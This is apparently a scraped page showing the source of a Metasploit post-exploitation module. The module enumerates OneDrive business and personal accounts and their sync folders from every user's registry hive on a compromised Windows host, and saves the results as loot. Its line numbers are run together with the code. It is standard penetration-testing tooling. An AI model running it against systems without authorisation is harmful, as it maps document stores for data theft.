Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_onedrive.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Priv7include Msf::Post::Common8include Msf::Post::File9include Msf::Post::Windows::Registry10include Msf::Post::Windows::UserProfiles1112SYNC_ENGINES_KEYS = ['LibraryType', 'LastModifiedTime', 'MountPoint', 'UrlNamespace'].freeze13ONEDRIVE_ACCOUNT_KEYS = ['Business', 'ServiceEndpointUri', 'SPOResourceId', 'UserEmail', 'UserFolder', 'UserName'].freeze14PERSONAL_ONEDRIVE_KEYS = ['UserEmail', 'UserFolder'].freeze1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'OneDrive Sync Provider Enumeration Module',21'Description' => %q{22This module will identify the Office 365 OneDrive endpoints for both business and personal accounts23across all users (providing access is permitted). It is useful for identifying document libraries24that may otherwise not be obvious which could contain sensitive or useful information.25},26'License' => MSF_LICENSE,27'Platform' => ['win'],28'SessionTypes' => ['meterpreter'],29'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'],30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [IOC_IN_LOGS],33'Reliability' => []34}35)36)37end3839def display_report(sid, info, sync_used, sync_all, results_table)40info.each do |key, result|41next if result['ScopeIdToMountPointPathCache'].nil? || result['ScopeIdToMountPointPathCache'].empty?4243row = []44print_line45print_line " #{key}"46print_line " #{'=' * key.length}"47print_line48row << sid49row << key50ONEDRIVE_ACCOUNT_KEYS.each do |col|51row << result[col].to_s52if result['Business'] == '1' || PERSONAL_ONEDRIVE_KEYS.include?(col)53print_line " #{col}: #{result[col]}"54end55end56result['ScopeIdToMountPointPathCache'].each do |scopes|57subrow = row.clone58print_line59SYNC_ENGINES_KEYS.each do |sync|60subrow << scopes[sync].to_s61print_line " | #{sync}: #{scopes[sync]}"62end63results_table << subrow64end65end6667sync_all_list = []68sync_all.each_key do |key|69sync_all_list.push(key)70end7172diff = sync_all_list - sync_used73if !(diff.nil? || diff.empty?)74print_line75print_line ' ORPHANED'76print_line ' ========'77diff.each do |scopeid|78csvrow = []79print_line80# Augment the CSV81csvrow << sid82csvrow << ''83ONEDRIVE_ACCOUNT_KEYS.each do |_od|84csvrow << ''85end86SYNC_ENGINES_KEYS.each do |sync|87csvrow << sync_all[scopeid][sync]88print_line " #{sync}: #{sync_all[scopeid][sync]}"89end90results_table << csvrow91end92end93end9495def get_syncengine_data(master, syncengines)96all_syncengines = {}97syncengines.each do |sync_provider| # Sync provider names are normally Personal for personal accounts98# or a hash value that is unique to each business account.99tmp_sync_provider_info = {}100SYNC_ENGINES_KEYS.each do |key|101tmp_sync_provider_info[key] = registry_getvaldata("#{master}\\#{sync_provider}", key).to_s102end103all_syncengines[sync_provider] = tmp_sync_provider_info104end105all_syncengines106end107108def get_onedrive_accounts(reg, accounts, syncdata)109all_oda = {}110synctargets_used = []111ret = {}112reg.each do |ses|113newses = {}114scopeids = registry_enumvals("#{accounts}\\#{ses}\\ScopeIdToMountPointPathCache")115next if scopeids.nil? || scopeids.empty?116117ONEDRIVE_ACCOUNT_KEYS.each do |key|118newses[key] = registry_getvaldata("#{accounts}\\#{ses}", key).to_s119end120121newses['ScopeIdToMountPointPathCache'] = []122scopeids.each do |sid|123target = syncdata[sid]124if newses['Business'] != '1'125target = syncdata['Personal']126synctargets_used.push('Personal')127else128synctargets_used.push(sid)129end130newses['ScopeIdToMountPointPathCache'].push(target)131end132all_oda[ses] = newses133end134ret['oda'] = all_oda135ret['synctargets_used'] = synctargets_used136ret137end138139def run140# Obtain all user hives141userhives = load_missing_hives142got_results = false143144# Prepare the results table145results_table = Rex::Text::Table.new(146'Header' => 'OneDrive Sync Information',147'Indent' => 1,148'SortIndex' => -1,149'Columns' => ['SID', 'Name'] + ONEDRIVE_ACCOUNT_KEYS + SYNC_ENGINES_KEYS150)151152if userhives.nil? || userhives.empty?153fail_with(Failure::UnexpectedReply, 'Unable to load the missing hives needed to enumerate the target!')154end155# Loop through each of the hives156userhives.each do |hive|157next if hive['HKU'].nil?158159print_status("Looking for OneDrive sync information for #{hive['SID']}")160master_key = "#{hive['HKU']}\\Software\\SyncEngines\\Providers\\OneDrive"161saved_syncengines = registry_enumkeys(master_key)162if saved_syncengines.nil? || saved_syncengines.empty?163print_error("(#{hive['HKU']}) No OneDrive accounts found.")164next165end166167# Obtain the sync endpoints from the above subkey168all_syncengines = get_syncengine_data(master_key, saved_syncengines)169170str_onedrive_accounts = "#{hive['HKU']}\\Software\\Microsoft\\OneDrive\\Accounts"171reg_onedrive_accounts = registry_enumkeys(str_onedrive_accounts)172if reg_onedrive_accounts.nil? || reg_onedrive_accounts.empty?173print_error("(#{hive['HKU']}) No OneDrive accounts found.")174next175end176177result = get_onedrive_accounts(reg_onedrive_accounts, str_onedrive_accounts, all_syncengines)178179if result['oda'].nil? || result['oda'].empty?180print_error("(#{hive['HKU']}) No OneDrive accounts found.")181next182end183184got_results = true185print_good("OneDrive sync information for #{hive['SID']}")186display_report(hive['SID'], result['oda'], result['synctargets_used'], all_syncengines, results_table)187end188189print_line190191if got_results192stored_path = store_loot('onedrive.syncinformation', 'text/csv', session, results_table.to_csv, 'onedrive_syncinformation.csv', 'OneDrive sync endpoints')193print_good("OneDrive sync information saved to #{stored_path} in CSV format.")194end195196# Clean up197unload_our_hives(userhives)198end199end200201202